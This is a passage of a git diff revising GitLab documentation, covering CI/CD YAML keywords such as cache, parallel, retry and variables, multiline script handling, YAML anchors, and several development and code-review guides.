+**Additional details**: + +- The `cache:paths` keyword includes files even if they are untracked or in your `.gitignore` file. + **Related topics**: - See the [common `cache` use cases](../caching/index.md#common-use-cases-for-caches) for more @@ -1289,6 +1297,11 @@ Untracked files include files that are: - Ignored due to [`.gitignore` configuration](https://git-scm.com/docs/gitignore). - Created, but not added to the checkout with [`git add`](https://git-scm.com/docs/git-add). +Caching untracked files can create unexpectedly large caches if the job downloads: + +- Dependencies, like gems or node modules, which are usually untracked. +- [Artifacts](#artifacts) from a different job. Files extracted from the artifacts are untracked by default. + **Keyword type**: Job keyword. You can use it only as part of a job or in the [`default` section](#default). @@ -1307,8 +1320,9 @@ rspec: **Additional details**: -- You can combine `cache:untracked` with `cache:paths` to cache all untracked files - as well as files in the configured paths. This is useful for including files that are not tracked because of a `.gitignore` configuration. For example: +- You can combine `cache:untracked` with `cache:paths` to cache all untracked files, as well as files in the configured paths. + Use `cache:paths` to cache any specific files, including tracked files, or files that are outside of the working directory, + and use `cache: untracked` to also cache all untracked files. For example: ```yaml rspec: @@ -1319,6 +1333,36 @@ rspec: - binaries/ ``` + In this example, the job caches all untracked files in the repository, as well as all the files in `binaries/`. + If there are untracked files in `binaries/`, they are covered by both keywords. + +#### `cache:unprotect` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362114) in GitLab 15.8. + +Use `cache:unprotect` to set a cache to be shared between [protected](../../user/project/protected_branches.md) +and unprotected branches. + +WARNING: +When set to `true`, users without access to protected branches can read and write to +cache keys used by protected branches. + +**Keyword type**: Job keyword. You can use it only as part of a job or in the +[`default` section](#default). + +**Possible inputs**: + +- `true` or `false` (default). + +**Example of `cache:untracked`**: + +```yaml +rspec: + script: test + cache: + unprotect: true +``` + #### `cache:when` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18969) in GitLab 13.5 and GitLab Runner v13.5.0. @@ -2820,6 +2864,8 @@ You must: ### `parallel` +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/336576) in GitLab 15.9, the maximum value for `parallel` is increased from 50 to 200. + Use `parallel` to run a job multiple times in parallel in a single pipeline. Multiple runners must exist, or a single runner must be configured to run multiple jobs concurrently. @@ -2830,7 +2876,7 @@ Parallel jobs are named sequentially from `job_name 1/N` to `job_name N/N`. **Possible inputs**: -- A numeric value from `2` to `50`. +- A numeric value from `2` to `200`. **Example of `parallel`**: @@ -2855,6 +2901,7 @@ This example creates 5 jobs that run in parallel, named `test 1/5` to `test 5/5` > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15356) in GitLab 13.3. > - The job naming style was [improved in GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/issues/230452). +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/336576) in GitLab 15.9, the maximum number of permutations is increased from 50 to 200. Use `parallel:matrix` to run a job multiple times in parallel in a single pipeline, but with different variable values for each instance of the job. @@ -2867,7 +2914,7 @@ Multiple runners must exist, or a single runner must be configured to run multip - The variable names can use only numbers, letters, and underscores (`_`). - The values must be either a string, or an array of strings. -- The number of permutations cannot exceed 50. +- The number of permutations cannot exceed 200. **Example of `parallel:matrix`**: @@ -3242,7 +3289,9 @@ Use `retry:when` with `retry:max` to retry jobs for only specific failure cases. - `always`: Retry on any failure (default). - `unknown_failure`: Retry when the failure reason is unknown. -- `script_failure`: Retry when the script failed. +- `script_failure`: Retry when: + - The script failed. + - The runner failed to pull the Docker image. For `docker`, `docker+machine`, `kubernetes` [executors](https://docs.gitlab.com/runner/executors/). - `api_failure`: Retry on API failure. - `stuck_or_timeout_failure`: Retry when the job got stuck or timed out. - `runner_system_failure`: Retry if there is a runner system failure (for example, job setup failed). @@ -3332,8 +3381,8 @@ Use `rules:if` clauses to specify when to add a job to a pipeline: - If an `if` statement is true, but it's combined with `when: never`, do not add the job to the pipeline. - If no `if` statements are true, do not add the job to the pipeline. -`if` clauses are evaluated based on the values of [predefined CI/CD variables](../variables/predefined_variables.md) -or [custom CI/CD variables](../variables/index.md#custom-cicd-variables), with +`if` clauses are evaluated based on the values of [CI/CD variables](../variables/index.md) +or [predefined CI/CD variables](../variables/predefined_variables.md), with [some exceptions](../variables/where_variables_can_be_used.md#gitlab-ciyml-file). **Keyword type**: Job-specific and pipeline-specific. You can use it as part of a job @@ -3451,7 +3500,7 @@ any subkeys. All additional details and related topics are the same. **Possible inputs**: -- An array of file paths. In GitLab 13.6 and later, [file paths can include variables](../jobs/job_control.md#variables-in-ruleschanges). +- An array of file paths. [File paths can include variables](../jobs/job_control.md#variables-in-ruleschanges). **Example of `rules:changes:paths`**: @@ -3657,7 +3706,7 @@ Use `secrets` to specify [CI/CD secrets](../secrets/index.md) to: - Retrieve from an external secrets provider. - Make available in the job as [CI/CD variables](../variables/index.md) - ([`file` type](../variables/index.md#cicd-variable-types) by default). + ([`file` type](../variables/index.md#use-file-type-cicd-variables) by default). This keyword must be used with `secrets:vault`. @@ -3716,7 +3765,7 @@ job: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250695) in GitLab 14.1 and GitLab Runner 14.1. Use `secrets:file` to configure the secret to be stored as either a -[`file` or `variable` type CI/CD variable](../variables/index.md#cicd-variable-types) +[`file` or `variable` type CI/CD variable](../variables/index.md#use-file-type-cicd-variables) By default, the secret is passed to the job as a `file` type CI/CD variable. The value of the secret is stored in the file and the variable contains the path to the file. @@ -4252,8 +4301,8 @@ child3: ### `variables` -[CI/CD variables](../variables/index.md) are configurable values that are passed to jobs. -Use `variables` to create [custom variables](../variables/index.md#custom-cicd-variables). +Use `variables` to define [CI/CD variables](../variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file), +which are configurable values that are passed to jobs. Variables are always available in `script`, `before_script`, and `after_script` commands. You can also use variables as inputs in some job keywords. @@ -4298,7 +4347,7 @@ deploy_review_job: - All YAML-defined variables are also set to any linked [Docker service containers](../services/index.md). - YAML-defined variables are meant for non-sensitive project configuration. Store sensitive information - in [protected variables](../variables/index.md#protected-cicd-variables) or [CI/CD secrets](../secrets/index.md). + in [protected variables](../variables/index.md#protect-a-cicd-variable) or [CI/CD secrets](../secrets/index.md). - [Manual pipeline variables](../variables/index.md#override-a-defined-cicd-variable) and [scheduled pipeline variables](../pipelines/schedules.md#add-a-pipeline-schedule) are not passed to downstream pipelines by default. Use [trigger:forward](#triggerforward) @@ -4306,7 +4355,6 @@ deploy_review_job: **Related topics**: -- You can use [YAML anchors for variables](yaml_optimization.md#yaml-anchors-for-variables). - [Predefined variables](../variables/predefined_variables.md) are variables the runner automatically creates and makes available in the job. - You can [configure runner behavior with variables](../runners/configure_runners.md#configure-runner-behavior-with-variables). @@ -4348,10 +4396,7 @@ variables: > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/353991) in GitLab 15.6 [with a flag](../../administration/feature_flags.md) named `ci_raw_variables_in_yaml_config`. Disabled by default. > - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/375034) in GitLab 15.6. > - [Enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/375034) in GitLab 15.7. - -FLAG: -On self-managed GitLab, by default this feature is available. To hide the feature per project, -ask an administrator to [disable the feature flag](../../administration/feature_flags.md) named `ci_raw_variables_in_yaml_config`. +> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/375034) in GitLab 15.8. Feature flag `ci_raw_variables_in_yaml_config` removed. Use the `expand` keyword to configure a variable to be expandable or not. @@ -4394,7 +4439,7 @@ the default value is `when: on_success`. or have `allow_failure: true`. - `manual`: Run the job only when [triggered manually](../jobs/job_control.md#create-a-job-that-must-be-run-manually). - `always`: Run the job regardless of the status of jobs in earlier stages. Can also be used in `workflow:rules`. -- `on_failure`: Run the job only when at least one job in an earlier stage fails. +- `on_failure`: Run the job only when at least one job in an earlier stage fails. A job with `allow_failure: true` is always considered successful. - `delayed`: [Delay the execution of a job](../jobs/job_control.md#run-a-job-after-a-delay) for a specified duration. - `never`: Don't run the job. Can only be used in a [`rules`](#rules) section or `workflow: rules`. diff --git a/doc/ci/yaml/script.md b/doc/ci/yaml/script.md index 1d3186a4047..1c31191c2f4 100644 --- a/doc/ci/yaml/script.md +++ b/doc/ci/yaml/script.md @@ -203,7 +203,7 @@ job: - echo -e "\e[31mThis text is red,\e[0m but this text isn't\e[31m however this text is red again." ``` -You can define the color codes in Shell environment variables, or even [custom CI/CD variables](../variables/index.md#custom-cicd-variables), +You can define the color codes in Shell environment variables, or even [CI/CD variables](../variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file), which makes the commands easier to read and reusable. For example, using the same example as above and environment variables defined in a `before_script`: @@ -284,3 +284,59 @@ job-fails: - (invalid-command xyz && invalid-command abc) - echo "The job failed already, and this is not executed." ``` + +### Multiline commands not preserved by folded YAML multiline block scalar + +If you use the `- >` folded YAML multiline block scalar to split long commands, +additional indentation causes the lines to be processed as individual commands. + +For example: + +```yaml +script: + - > + RESULT=$(curl --silent + --header + "Authorization: Bearer $CI_JOB_TOKEN" + "${CI_API_V4_URL}/job" + ) +``` + +This fails as the indentation causes the line breaks to be preserved: + +<!-- vale gitlab.CurlStringsQuoted = NO --> + +```plaintext +$ RESULT=$(curl --silent # collapsed multi-line command +curl: no URL specified! +curl: try 'curl --help' or 'curl --manual' for more information +/bin/bash: line 149: --header: command not found +/bin/bash: line 150: https://gitlab.example.com/api/v4/job: No such file or directory +``` + +<!-- vale gitlab.CurlStringsQuoted = YES --> + +Resolve this by either: + +- Removing the extra indentation: + + ```yaml + script: + - > + RESULT=$(curl --silent + --header + "Authorization: Bearer $CI_JOB_TOKEN" + "${CI_API_V4_URL}/job" + ) + ``` + +- Modifying the script so the extra line breaks are handled, for example using shell line continuation: + + ```yaml + script: + - > + RESULT=$(curl --silent \ + --header \ + "Authorization: Bearer $CI_JOB_TOKEN" \ + "${CI_API_V4_URL}/job") + ``` diff --git a/doc/ci/yaml/yaml_optimization.md b/doc/ci/yaml/yaml_optimization.md index 5344a999b95..07019a2776f 100644 --- a/doc/ci/yaml/yaml_optimization.md +++ b/doc/ci/yaml/yaml_optimization.md @@ -13,7 +13,7 @@ files by using: - YAML-specific features like [anchors (`&`)](#anchors), aliases (`*`), and map merging (`<<`). Read more about the various [YAML features](https://learnxinyminutes.com/docs/yaml/). - The [`extends` keyword](#use-extends-to-reuse-configuration-sections), - which is more flexible and readable. We recommend you use `extends` where possible. + which is more flexible and readable. You should use `extends` where possible. ## Anchors @@ -21,10 +21,20 @@ YAML has a feature called 'anchors' that you can use to duplicate content across your document. Use anchors to duplicate or inherit properties. Use anchors with [hidden jobs](../jobs/index.md#hide-jobs) -to provide templates for your jobs. When there are duplicate keys, GitLab -performs a reverse deep merge based on the keys. +to provide templates for your jobs. When there are duplicate keys, the latest included key wins, overriding the other keys. -You can use YAML anchors to merge YAML arrays. +In certain cases (see [YAML anchors for scripts](#yaml-anchors-for-scripts)), you can use YAML anchors to build arrays with multiple components defined elsewhere. For example: + +```yaml +.default_scripts: &default_scripts + - ./default-script1.sh + - ./default-script2.sh + +job1: + script: + - *default_scripts + - ./job-script.sh +``` You can't use YAML anchors across multiple files when using the [`include`](index.md#include) keyword. Anchors are only valid in the file they were defined in. To reuse configuration @@ -43,12 +53,12 @@ with their own custom `script` defined: - redis test1: - <<: *job_configuration # Merge the contents of the 'job_configuration' alias + <<: *job_configuration # Add the contents of the 'job_configuration' alias script: - test1 project test2: - <<: *job_configuration # Merge the contents of the 'job_configuration' alias + <<: *job_configuration # Add the contents of the 'job_configuration' alias script: - test2 project ``` @@ -189,30 +199,6 @@ job2: - *some-script-after ``` -### YAML anchors for variables - -Use [YAML anchors](#anchors) with `variables` to repeat assignment -of variables across multiple jobs. You can also use YAML anchors when a job -requires a specific `variables` block that would otherwise override the global variables. - -The following example shows how override the `GIT_STRATEGY` variable without affecting -the use of the `SAMPLE_VARIABLE` variable: - -```yaml -# global variables -variables: &global-variables - SAMPLE_VARIABLE: sample_variable_value - ANOTHER_SAMPLE_VARIABLE: another_sample_variable_value - -# a job that must set the GIT_STRATEGY variable, yet depend on global variables -job_no_git_strategy: - stage: cleanup - variables: - <<: *global-variables - GIT_STRATEGY: none - script: echo $SAMPLE_VARIABLE -``` - ## Use `extends` to reuse configuration sections You can use the [`extends` keyword](index.md#extends) to reuse configuration in @@ -331,8 +317,9 @@ to the contents of the `script`: ### Merge details You can use `extends` to merge hashes but not arrays. -The algorithm used for merge is "closest scope wins," so -keys from the last member always override anything defined on other +The algorithm used for merge is "closest scope wins". When there are +duplicate keys, GitLab performs a reverse deep merge based on the keys. +Keys from the last member always override anything defined on other levels. For example: ```yaml diff --git a/doc/development/adding_service_component.md b/doc/development/adding_service_component.md index 0048b10c9da..ee14d8e6414 100644 --- a/doc/development/adding_service_component.md +++ b/doc/development/adding_service_component.md @@ -87,6 +87,10 @@ In addition, any system dependencies used in Omnibus packages or the Cloud Nativ ## Release management -If the service component needs to be updated or released with the monthly GitLab release, then the component should be added to the [release tools automation](https://gitlab.com/gitlab-org/release-tools). This project is maintained by the [Delivery team](https://about.gitlab.com/handbook/engineering/infrastructure/team/delivery/). A list of the projects managed this way can be found in the [release tools project directory](https://about.gitlab.com/handbook/engineering/infrastructure/team/delivery/). +If the service component needs to be updated or released with the monthly GitLab release, then the component should be added to the [release tools automation](https://gitlab.com/gitlab-org/release-tools). This project is maintained by the [Delivery group](https://about.gitlab.com/handbook/engineering/infrastructure/team/delivery/). + +There are different levels of automation available to include a component in GitLab releases. The requirements and process for including a component in a release at these different levels are detailed in the [release documentation](https://gitlab.com/gitlab-org/release/docs/-/tree/master/components). + +A list of the projects with releases managed by release tools can be found in the [release tools project directory](https://gitlab.com/gitlab-org/release-tools/-/tree/master/lib/release_tools/project). For example, during the monthly GitLab release, the desired version of Gitaly, GitLab Workhorse and GitLab Shell need to be synchronized through the various release pipelines. diff --git a/doc/development/api_graphql_styleguide.md b/doc/development/api_graphql_styleguide.md index e0db0d7e34d..396bba2623e 100644 --- a/doc/development/api_graphql_styleguide.md +++ b/doc/development/api_graphql_styleguide.md @@ -785,7 +785,7 @@ The documentation will mention that the old Global ID style is now deprecated. ## Mark schema items as Alpha You can mark GraphQL schema items (fields, arguments, enum values, and mutations) as -[Alpha](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga). +[Alpha](../policy/alpha-beta-support.md#alpha-features). An item marked as Alpha is [exempt from the deprecation process](#breaking-change-exemptions) and can be removed at any time without notice. Mark an item as Alpha when it is diff --git a/doc/development/application_slis/index.md b/doc/development/application_slis/index.md index 75dd066680e..bd4587333e0 100644 --- a/doc/development/application_slis/index.md +++ b/doc/development/application_slis/index.md @@ -66,7 +66,7 @@ Gitlab::Metrics::Sli::Apdex.initialize_sli(:received_email, [ email_type: :service_desk }, { - feature_category: :code_review, + feature_category: :code_review_workflow, email_type: :create_merge_request } ]) diff --git a/doc/development/approval_rules.md b/doc/development/approval_rules.md index 312bf2b1bb7..f75cf35b32a 100644 --- a/doc/development/approval_rules.md +++ b/doc/development/approval_rules.md @@ -4,7 +4,7 @@ group: Code Review info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Approval Rules development guide **(FREE)** +# Approval Rules development guide This document explains the backend design and flow of all related functionality about [merge request approval rules](../user/project/merge_requests/approvals/index.md). diff --git a/doc/development/architecture.md b/doc/development/architecture.md index 5eb1dcc3208..cba868d3fed 100644 --- a/doc/development/architecture.md +++ b/doc/development/architecture.md @@ -543,7 +543,8 @@ GitLab CI/CD is the open-source continuous integration service included with Git #### GitLab Shell -- [Project page](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/README.md) +- [Project page](https://gitlab.com/gitlab-org/gitlab-shell/) +- [Documentation](gitlab_shell/index.md) - Configuration: - [Omnibus](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-config-template/gitlab.rb.template) - [Charts](https://docs.gitlab.com/charts/charts/gitlab/gitlab-shell/) @@ -552,7 +553,7 @@ GitLab CI/CD is the open-source continuous integration service included with Git - Layer: Core Service (Processor) - GitLab.com: [Service Architecture](https://about.gitlab.com/handbook/engineering/infrastructure/production/architecture/#service-architecture) -[GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell) is a program designed at GitLab to handle SSH-based `git` sessions, and modifies the list of authorized keys. GitLab Shell is not a Unix shell nor a replacement for Bash or Zsh. +[GitLab Shell](gitlab_shell/index.md) is a program designed at GitLab to handle SSH-based `git` sessions, and modifies the list of authorized keys. GitLab Shell is not a Unix shell nor a replacement for Bash or Zsh. #### GitLab Workhorse @@ -761,7 +762,7 @@ See our [Redis guidelines](redis.md) for more information about how GitLab uses - [Source](../administration/packages/container_registry.md#enable-the-container-registry) - [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/main/doc/howto/registry.md) - Layer: Core Service (Processor) -- GitLab.com: [GitLab Container Registry](../user/packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd) +- GitLab.com: [GitLab Container Registry](../user/packages/container_registry/build_and_push_images.md#use-gitlab-cicd) The registry is what users use to store their own Docker images. The bundled registry uses NGINX as a load balancer and GitLab as an authentication manager. diff --git a/doc/development/audit_event_guide/index.md b/doc/development/audit_event_guide/index.md index dfa6d56b3b5..8df5121a2f7 100644 --- a/doc/development/audit_event_guide/index.md +++ b/doc/development/audit_event_guide/index.md @@ -243,5 +243,5 @@ development. We intentionally do not translate audit event messages because translated messages would be saved in the database and served to users, regardless of their locale settings. -This could mean, for example, that we use the locale for the currently logged in user to record an audit event message and stream the message to an external streaming +This could mean, for example, that we use the locale for the currently authenticated user to record an audit event message and stream the message to an external streaming destination in the wrong language for that destination. Users could find that confusing. diff --git a/doc/development/auto_devops.md b/doc/development/auto_devops.md index 7a684f64d64..53033cd19ff 100644 --- a/doc/development/auto_devops.md +++ b/doc/development/auto_devops.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Auto DevOps development guide **(FREE)** +# Auto DevOps development guide This document provides a development guide for contributors to [Auto DevOps](../topics/autodevops/index.md). diff --git a/doc/development/backend/create_source_code_be/index.md b/doc/development/backend/create_source_code_be/index.md index 8a1a541fac9..77c98982210 100644 --- a/doc/development/backend/create_source_code_be/index.md +++ b/doc/development/backend/create_source_code_be/index.md @@ -30,8 +30,7 @@ that would not work efficiently without Workhorse. ## GitLab Shell GitLab Shell handles Git SSH sessions for GitLab and modifies the list of authorized keys. -For more information, [refer to the README](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/README.md). -for GitLab Shell. +For more information, refer to the [GitLab Shell documentation](../../gitlab_shell/index.md). To learn about the reasoning behind our creation of `gitlab-sshd`, read the blog post [Why we implemented our own SSHD solution](https://about.gitlab.com/blog/2022/08/17/why-we-have-implemented-our-own-sshd-solution-on-gitlab-sass/). @@ -48,3 +47,5 @@ For more information, read [Gitaly touch points](gitaly_touch_points.md). Create: Source Code has over 100 REST endpoints, being a mixture of Grape API endpoints and Rails controller endpoints. For a detailed list, refer to [Source Code REST Endpoints](rest_endpoints.md). + +An alternative list of the [Source Code endpoints and other owned objects](https://gitlab-com.gitlab.io/gl-infra/platform/stage-groups-index/source-code.html) is available. diff --git a/doc/development/cached_queries.md b/doc/development/cached_queries.md index e4625a50d79..1b590d68d18 100644 --- a/doc/development/cached_queries.md +++ b/doc/development/cached_queries.md @@ -37,9 +37,9 @@ in-memory objects whenever possible. When you introduce a new feature, you should: - Avoid N+1 queries. -- Minimize the [query count](merge_request_performance_guidelines.md#query-counts). +- Minimize the [query count](merge_request_concepts/performance.md#query-counts). - Pay special attention to ensure - [cached queries](merge_request_performance_guidelines.md#cached-queries) are not + [cached queries](merge_request_concepts/performance.md#cached-queries) are not masking N+1 problems. ## How to detect cached queries @@ -163,5 +163,5 @@ factors help improve the overall execution time: ## For more information - [Metrics that would help us detect the potential N+1 Cached SQL calls](https://gitlab.com/gitlab-org/gitlab/-/issues/259007) -- [Merge request performance guidelines for cached queries](merge_request_performance_guidelines.md#cached-queries) +- [Merge request performance guidelines for cached queries](merge_request_concepts/performance.md#cached-queries) - [Improvements for biggest offenders](https://gitlab.com/groups/gitlab-org/-/epics/4508) diff --git a/doc/development/chatops_on_gitlabcom.md b/doc/development/chatops_on_gitlabcom.md index c9cb2591e4e..378639c4a43 100644 --- a/doc/development/chatops_on_gitlabcom.md +++ b/doc/development/chatops_on_gitlabcom.md @@ -22,12 +22,12 @@ To request access to ChatOps on GitLab.com: 1. Sign in to [Internal GitLab for Operations](https://ops.gitlab.net/users/sign_in) with one of the following methods (Okta is not supported): - - The same username you use on GitLab.com. You may have to choose a different username later. + - The same username you use on GitLab.com. - Selecting the **Sign in with Google** button to sign in with your GitLab.com email address. 1. Confirm that your username in [Internal GitLab for Operations](https://ops.gitlab.net/) is the same as your username in [GitLab.com](https://gitlab.com/). If the usernames - don't match, update the username in [User Settings/Account for the Ops instance](https://ops.gitlab.net/-/profile/account). + don't match, update the username in [User Settings/Account for the Ops instance](https://ops.gitlab.net/-/profile/account). Matching usernames are required to reduce the administrative effort of running multiple platforms. Matching usernames also help with tasks like managing access requests and offboarding. 1. Comment in your onboarding issue, and tag your onboarding buddy and your manager. Request they add you to the `ops` ChatOps project by running this command diff --git a/doc/development/cicd/cicd_reference_documentation_guide.md b/doc/development/cicd/cicd_reference_documentation_guide.md index 8c75e66c33a..530bc62b603 100644 --- a/doc/development/cicd/cicd_reference_documentation_guide.md +++ b/doc/development/cicd/cicd_reference_documentation_guide.md @@ -4,7 +4,7 @@ group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Documenting the `.gitlab-ci.yml` keywords **(FREE)** +# Documenting the `.gitlab-ci.yml` keywords The [CI/CD YAML reference](../../ci/yaml/index.md) uses a standard style to make it easier to use and update. diff --git a/doc/development/cicd/index.md b/doc/development/cicd/index.md index 73ece709b8d..2a60ca18169 100644 --- a/doc/development/cicd/index.md +++ b/doc/development/cicd/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: index, concepts, howto --- -# CI/CD development documentation **(FREE)** +# CI/CD development documentation Development guides that are specific to CI/CD are listed here: @@ -198,5 +198,5 @@ Watch a walkthrough of this feature in details in the video below. See the video: <a href="https://www.youtube.com/watch?v=NmdWRGT8kZg">CI/CD minutes - architectural overview</a>. </div> <figure class="video-container"> - <iframe src="https://www.youtube.com/embed/NmdWRGT8kZg" frameborder="0" allowfullscreen="true"> </iframe> + <iframe src="https://www.youtube-nocookie.com/embed/NmdWRGT8kZg" frameborder="0" allowfullscreen> </iframe> </figure> diff --git a/doc/development/cicd/schema.md b/doc/development/cicd/schema.md index 22896594443..26e63fb53d8 100644 --- a/doc/development/cicd/schema.md +++ b/doc/development/cicd/schema.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: index, howto --- -# Contribute to the CI/CD Schema **(FREE)** +# Contribute to the CI/CD Schema The [pipeline editor](../../ci/pipeline_editor/index.md) uses a CI/CD schema to enhance the authoring experience of our CI/CD configuration files. With the CI/CD schema, the editor can: @@ -17,9 +17,6 @@ the authoring experience of our CI/CD configuration files. With the CI/CD schema As the rules and keywords for configuring our CI/CD configuration files change, so too should our CI/CD schema. -This feature is behind the [`schema_linting`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/feature_flags/development/schema_linting.yml) -feature flag for self-managed instances, and is enabled for GitLab.com. - ## JSON Schemas The CI/CD schema follows the [JSON Schema Draft-07](https://json-schema.org/draft-07/json-schema-release-notes.html) @@ -140,7 +137,6 @@ under the topmost **properties** key. ### Verify changes -1. Enable the `schema_linting` feature flag. 1. Go to **CI/CD** > **Editor**. 1. Write your CI/CD configuration in the editor and verify that the schema validates it correctly. diff --git a/doc/development/cicd/templates.md b/doc/development/cicd/templates.md index 6bc6c57e809..4f6799d12d8 100644 --- a/doc/development/cicd/templates.md +++ b/doc/development/cicd/templates.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: index, concepts, howto --- -# Development guide for GitLab CI/CD templates **(FREE)** +# Development guide for GitLab CI/CD templates This document explains how to develop [GitLab CI/CD templates](../../ci/examples/index.md#cicd-templates). diff --git a/doc/development/code_intelligence/index.md b/doc/development/code_intelligence/index.md index f8fb794053d..107a1588e18 100644 --- a/doc/development/code_intelligence/index.md +++ b/doc/development/code_intelligence/index.md @@ -4,7 +4,7 @@ group: Code Review info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Code Intelligence **(FREE)** +# Code Intelligence > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/1576) in GitLab 13.1. diff --git a/doc/development/code_review.md b/doc/development/code_review.md index 30d9d671038..e194453565a 100644 --- a/doc/development/code_review.md +++ b/doc/development/code_review.md @@ -197,10 +197,11 @@ See the [test engineering process](https://about.gitlab.com/handbook/engineering 1. You have properly separated EE content from FOSS, or this MR is FOSS only. - [Where should EE code go?](ee_features.md) 1. You have considered that existing data may be surprisingly varied. For example, a new model validation can break existing records. Consider making validation on existing data optional rather than required if you haven't confirmed that existing data will pass validation. +1. If a test passes with warnings and the failed job includes the text `Flaky test '<path/to/test>' was found in the list of files changed by this MR.`, you have fixed this test, or provided evidence explaining why this flaky test can be ignored. ##### Performance, reliability, and availability -1. You are confident that this MR does not harm performance, or you have asked a reviewer to help assess the performance impact. ([Merge request performance guidelines](merge_request_performance_guidelines.md)) +1. You are confident that this MR does not harm performance, or you have asked a reviewer to help assess the performance impact. ([Merge request performance guidelines](merge_request_concepts/performance.md)) 1. You have added [information for database reviewers in the MR description](database_review.md#required), or you have decided that it is unnecessary. - [Does this MR have database-related changes?](database_review.md) 1. You have considered the availability and reliability risks of this change. @@ -234,6 +235,10 @@ See the [test engineering process](https://about.gitlab.com/handbook/engineering - [When to use a feature flag](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#when-to-use-feature-flags) 1. You have informed the Infrastructure department of a default setting or new setting change per [definition of done](contributing/merge_request_workflow.md#definition-of-done), or decided that this is unnecessary. +##### Compliance + +1. You have confirmed that the correct [MR type label](contributing/issue_workflow.md#type-labels) has been applied. + ### The responsibility of the merge request author The responsibility to find the best solution and implement it lies with the @@ -510,6 +515,7 @@ WARNING: Before taking the decision to merge: - Set the milestone. +- Confirm that the correct [MR type label](contributing/issue_workflow.md#type-labels) is applied. - Consider warnings and errors from danger bot, code quality, and other reports. Unless a strong case can be made for the violation, these should be resolved before merging. A comment must be posted if the MR is merged with any failed job. @@ -557,7 +563,7 @@ WARNING: [very specific cases](https://about.gitlab.com/handbook/engineering/workflow/#criteria-for-merging-during-broken-master). For other cases, follow these [handbook instructions](https://about.gitlab.com/handbook/engineering/workflow/#merging-during-broken-master). - If the latest pipeline was created before the merge request was approved, start a new pipeline to ensure that full RSpec suite has been run. You may skip this step only if the merge request does not contain any backend change. - - If the **latest [merged results pipeline](../ci/pipelines/merged_results_pipelines.md)** finished less than 2 hours ago, you + - If the **latest [merged results pipeline](../ci/pipelines/merged_results_pipelines.md)** was **created less than 6 hours ago**, and **finished less than 2 hours ago**, you may merge without starting a new pipeline as the merge request is close enough to `main`. - When you set the MR to "Merge When Pipeline Succeeds", you should take over diff --git a/doc/development/contributing/design.md b/doc/development/contributing/design.md index b8d7a8eef39..aec487ed184 100644 --- a/doc/development/contributing/design.md +++ b/doc/development/contributing/design.md @@ -47,7 +47,7 @@ Check these aspects both when _designing_ and _reviewing_ UI changes. as the secondary. - Use clear and consistent [terminology](https://design.gitlab.com/content/terminology/). - Check grammar and spelling. -- Consider help content and follow its [guidelines](https://design.gitlab.com/usability/helping-users/). +- Consider help content and follow its [guidelines](https://design.gitlab.com/usability/contextual-help). - Request review from the [appropriate Technical Writer](https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments), indicating any specific files or lines they should review, and how to preview or understand the location/context of the text from the user's perspective. @@ -64,9 +64,9 @@ Check these aspects both when _designing_ and _reviewing_ UI changes. Check visual design properties using your browser's _elements inspector_ ([Chrome](https://developer.chrome.com/docs/devtools/css/), [Firefox](https://firefox-source-docs.mozilla.org/devtools-user/page_inspector/how_to/open_the_inspector/index.html)). -- Use recommended [colors](https://design.gitlab.com/product-foundations/colors/) +- Use recommended [colors](https://design.gitlab.com/product-foundations/color) and [typography](https://design.gitlab.com/product-foundations/type-fundamentals/). -- Follow [layout guidelines](https://design.gitlab.com/layout/grid/). +- Follow [layout guidelines](https://design.gitlab.com/product-foundations/layout#grid). - Use existing [icons](https://gitlab-org.gitlab.io/gitlab-svgs/) and [illustrations](https://gitlab-org.gitlab.io/gitlab-svgs/illustrations/) or propose new ones according to [iconography](https://design.gitlab.com/product-foundations/iconography/) and [illustration](https://design.gitlab.com/product-foundations/illustration/) @@ -81,9 +81,8 @@ Check states using your browser's _styles inspector_ to toggle CSS pseudo-classe like `:hover` and others ([Chrome](https://developer.chrome.com/docs/devtools/css/reference/#pseudo-class), [Firefox](https://firefox-source-docs.mozilla.org/devtools-user/page_inspector/how_to/examine_and_edit_css/index.html#viewing-common-pseudo-classes)). -- Account for all applicable states ([error](https://design.gitlab.com/content/error-messages/), - rest, loading, focus, hover, selected, disabled). -- Account for states dependent on data size ([empty](https://design.gitlab.com/regions/empty-states/), +- Account for all applicable states (error, rest, loading, focus, hover, selected, disabled). +- Account for states dependent on data size ([empty](https://design.gitlab.com/patterns/empty-states), some data, and lots of data). - Account for states dependent on user role, user preferences, and subscription. - Consider animations and transitions, and 